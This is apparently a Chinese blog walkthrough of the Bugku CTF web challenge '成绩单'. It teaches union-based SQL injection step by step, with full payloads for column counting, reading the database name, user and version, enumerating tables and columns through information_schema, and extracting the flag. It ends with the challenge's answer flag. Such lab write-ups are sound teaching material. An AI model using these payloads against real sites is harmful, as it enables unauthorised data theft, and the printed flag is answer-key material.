从这里开始进入SQL注入的普通模式啦!!撒花~~

虽然真的学过数据库,可是需要有很熟悉的PHP和数据库变量名字的理解,大概才能很好的学习这个部分。

 

首先打开这个题目,

 

Bugku:web 成绩单

 

快来查查成绩吧!

 

Bugku:web 成绩单

这里还是有一些提示的,框框里面要求输入1,2,3这种数字以便查询。但是...我们怎么能用普通的思维呢???!!

 

那么先什么都不输入看看。

 

Bugku:web 成绩单

什么都木有啊!

 

还是输个1看看。

 

Bugku:web 成绩单

 

接下来输了2和3也是有数据的,4就没有数据了,感觉这个数据库表应该只存了3个数据。

 

老规矩看了一下源代码,发现什么都没有,只是提示出有数据库表。

 

所以这道题就是传统的SQL注入题目了Bugku:web 成绩单

 

要好好利用这个输入框,达成我们想要查询的东西。

 

打开FireFox的Hackbar插件,开始POST之旅。

 

Bugku:web 成绩单

 

试了一下1后面加上注释符#,发现能够正常显示。

1后面加上飘号',表示截断了后面的语句,就不能正常显示了。

 

Bugku:web 成绩单

 

接下来,用上网上查的方法Bugku:web 成绩单Bugku:web 成绩单Bugku:web 成绩单尝试查询出列数。

输入id=1' order by 4#

输入id=1' order by 5#

Bugku:web 成绩单

 

发现5的这一个就没有显示了,所以确定列数为4。

 

接下来使用联合查询的方法。

 

id=0' union select 1,2,3,4#

 

Bugku:web 成绩单

 

UNION 操作符用于合并两个或多个SELECT语句的结果集。

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

 

联合查询之后就继续查询数据库名,用户名,版本。

 

id=0' union select 1,database(),user(),version()#
 

 

Bugku:web 成绩单

 

可以看到第一列就是数据库名,然后好好利用来之不易的数据库名,查询表名,也可以使用一般模式直接查询。

 

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#

 

Bugku:web 成绩单

 

 

查询到表名为fl4g之后,开始查询列名。


 

id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),user(),version()#

 

Bugku:web 成绩单

 

最后一步,查看这一列的东西了。【大概率flag,别问为什么Bugku:web 成绩单

 

id=0' union select 1,(select skctf_flag from fl4g),user(),version()#

 

Bugku:web 成绩单

 

当当当当~flag出来了,可喜可贺。Bugku:web 成绩单

BUGKU{Sql_INJECT0N_4813drd8hz4}

 

大家一起学习吧,学习使人快落,学习使人思想进步~~~~

Bugku:web 成绩单

 

相关文章: